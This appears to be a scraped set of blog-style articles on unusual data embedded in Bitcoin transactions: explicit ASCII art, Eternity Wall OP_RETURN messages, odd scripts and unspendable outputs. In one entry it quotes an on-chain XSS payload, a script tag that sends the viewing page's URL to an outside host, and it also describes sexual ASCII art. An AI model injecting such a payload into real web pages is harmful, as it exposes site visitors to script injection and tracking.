Cool data embedded in the Bitcoin blockchain ASCII porn by 
Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01
Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01All found so far are also reproduced at: asciiart.website/index.php?art=people/naked%20ladies therefore not blockchain original.
- tx 9206ec2a41846709a59cafb406dd7b07082bfc27664bbc5c6d4df310c1e1b91f block 290848 (2014-03-16) via cryptograffiti.info: sexually aroused naked woman sitting looking forward with legs open showing her vagina. Vagina row as an identifier for Ctrl + F:A bit bellow tx 8367a48e4a863e37b3749bc9c111327b07a7c383ec9b3e7ce8d41949e71e1c10 has a large hand showing the middle finger and wearing a watch:
. `. .\x./-`--...../' ; :Reproduced e.g. at: www.textartcopy.com/ascii-middle-finger.html/"\ |\./| | | | | |>~<| | | /'\| |/'\.. /~\| | | | \ [ | | | | \ | | | | | \ | ~ ~ ~ ~ |` ) | / \ / \ / \ / |--//''`\--| | (( +==)) | |--\_|_//--| - tx 0aab36554c2ac5ec23747e7f21f75dbe3f16739134cf44953ad7ac98927146d6 block 322920 (2014-09-28) via cryptograffiti.info: naked woman laying on her side showing her vagina from under her legs, signed
fsc. Vagina row:Fully reproduced e.g. at www.asciiart.eu/people/sexual/women which credits the art to a "Marcin Glinski" (Polish: Marcin Gliński), possibly this dude github.com/silentlamb/ASCII-Arts | www.linkedin.com/in/marcinglinski)The signature is also listed at www.asciiart.eu/ascii-artists/who-is-who for example.`-:/"-7.--"" _::.-'P::.. \} - tx 66826fccef3e3ebb34abce25bfeff8f9dcaaf88e4707a5576c494d8a1cf1681a block 388714 (2015-12-16) has a one liner penis and breasts:soon followed by more breasts at 37c1e90c6ce3e648c51bfa38cbb43e996cd46e038517596d4c90ca2a6425a701:
jEW B====D ( . Y . )Found by Messages from the mines.jEW ( . Y . )TIDDIES( . Y . )
Cool data embedded in the Bitcoin blockchain Cute Coinbase messages by Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01
Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01As such most of them tend to be boring ads for mining pools, but there are a few exceptions, especially in the early days.
Cool data embedded in the Bitcoin blockchain Eternity Wall by Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01
Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01This website used to allow embedding text messages with OP_RETURN, here's an archive from 2015: web.archive.org/web/20150718052659/http://eternitywall.it/
As of January 2024, it seems to read-only mode, where it simply indexes matching transactions that were made via other means: web.archive.org/web/20230929075331/https://eternitywall.it/
A Reddit announcement from July 2015: www.reddit.com/r/Bitcoin/comments/3dxy9f/eternity_wall_messages_lasting_forever/
There were 3191 hits for the search term:in our data starting with tx a3b3af21514bd79a4cbcac9916a8514636a72d813539192214542fd85247082e (2015-06-24):up to the last entry on tx 28820bc14cf2cfda58ecbc9ac6df3f41a1cb90f4246543f01ba42a5e9dac3cf8 (2023-06-15)no doubt initials of 4 Chinesepeople. A blood brother oath comes to mind, akin to the Oath of the Peach Garden. Will these four be the ones to take down the evil dictator Xi Jinping?
git grep '\bEW 'EW Eternity wall is live
EW May our friendship endure, signed by hg, kty, wjj, and xyz.
The very first message gives away the name of what we assume is a web-based upload system, "EW" being its advertisement signature added to every message.
Running shows that the messages are encoded with OP_RETURN:
bitcoin-cli:bitcoin-core.cli getrawtransaction a3b3af21514bd79a4cbcac9916a8514636a72d813539192214542fd85247082e true "vout": [
{
"value": 0.00000000,
"n": 0,
"scriptPubKey": {
"asm": "OP_RETURN 455720457465726e6974792077616c6c206973206c697665 Cool data embedded in the Bitcoin blockchain Quotes and threes by Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01
Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01Starting tx 2f201c8518c7b012c03c2c82e40e86f6aaf616ea5fbe22570aac9d2c6611cb68 (2023-03-11), the chain is flooded with ASCII transactions containing many repeated double quotes TODO what is up with that?
" and digits 3, with some other characters interspersed in them without any clear pattern e.g. the first one:""""""""""""""""""""""""""""""""jk""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""'}""""""""""""""""""""""""""""""""/D""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""q1""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""XK""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
BSHUNTER: Detecting and Tracing Defects of Bitcoin Scripts by Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01
Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01 Cool data embedded in the Bitcoin blockchain OnChainMonkey by Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01
Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01From their site:
OCM Genesis is our flagship generative art collection that's set many historic precedents since its launch in 2021. Genesis is the first NFT collection where all 10,000 images and metadata (similar to DNA describing the NFT) were generated using code entirely on-chain in a single transaction on Ethereum. With the launch of Bitcoin Ordinals, Genesis is the first ever collection of 10,000 images to be inscribed on Bitcoin in 2023.
Some of their likely transactions were noted in our list of large transactions: github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/payload_size_out e.g.:but we haven't had the patience to index them properly yet. Boring art anyways.
004c3f1efa0095b229dd05ea247c94a5af742daf682fb082a6e62f4aeeb973f2 66033
ffc73ef454d512f98a451960e05a0a036406ed1078a1bd7082fd4036cf0af067 66021 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af by Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01
Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01Output 0 does:where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:This is almost spendable with:but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`1 OP_TOALTSTACK 10 1 2 5660d06bd69326c18ec63127b37fb3b32ea763c3846b3334c51beb6a800c57d3 by Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01
Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01In this malformed Coinbase transaction, the mining pool "nicehash" produced a provably unspendable Bitcoin output script due to a bug, and therefore lost most of the entire block reward of 6.25 BTC then worth about $ 123,000.
The output is unspendable because it ends in a constant 0, the disassembly of the first and main output is this series of constants:and for the second smaller one:the third one being an OP_RETURN message.
0 017fed86bba5f31f955f8b316c7fb9bd45cb6cbc 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0aa21a9ed62ec16bf1a388c7884e9778ddb0e26c0bf982dada47aaa5952347c0993da 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0This event received some coverage:
a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 by Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01
Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01Sister transaction of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af with another variant of the XSS but without IF and
OP_FROMALTSTACK, thus making it spendable:OP_ADD OP_ADD 13 OP_EQUAL <large xss constant> OP_DROP Romance of the Three Kingdoms event by Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01
Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01 3ad6677303fb6f700a4f2f977fe86e5324e0ddb0d3b33a649e513d7e88904e85 by Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01
Ciro Santilli 37 Updated 2025-05-21 +Created 1970-01-01This contains various outputs that seem trivially spendable in a made up of two non-zero constants, e.g.:Or are we missing something? The values are quite small and wouldn't be worth it the miner fees most likely. But is there a fundamental reason why this couldn't be spent by a non-standard miner?
{
"value": 0.00002000,
"n": 9,
"scriptPubKey": {
"asm": "1 8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
"desc": "rawtr(8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe)#lxgt8lak",
"hex": "51208fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
"address": "bc1p3lnp7qnvw4z6n8rwpum6tflvamjlmanj8svefn9lkaq92e3ja8lqcc8mcx",
"type": "witness_v1_taproot"
}
}, There are unlisted articles, also show them or only show them.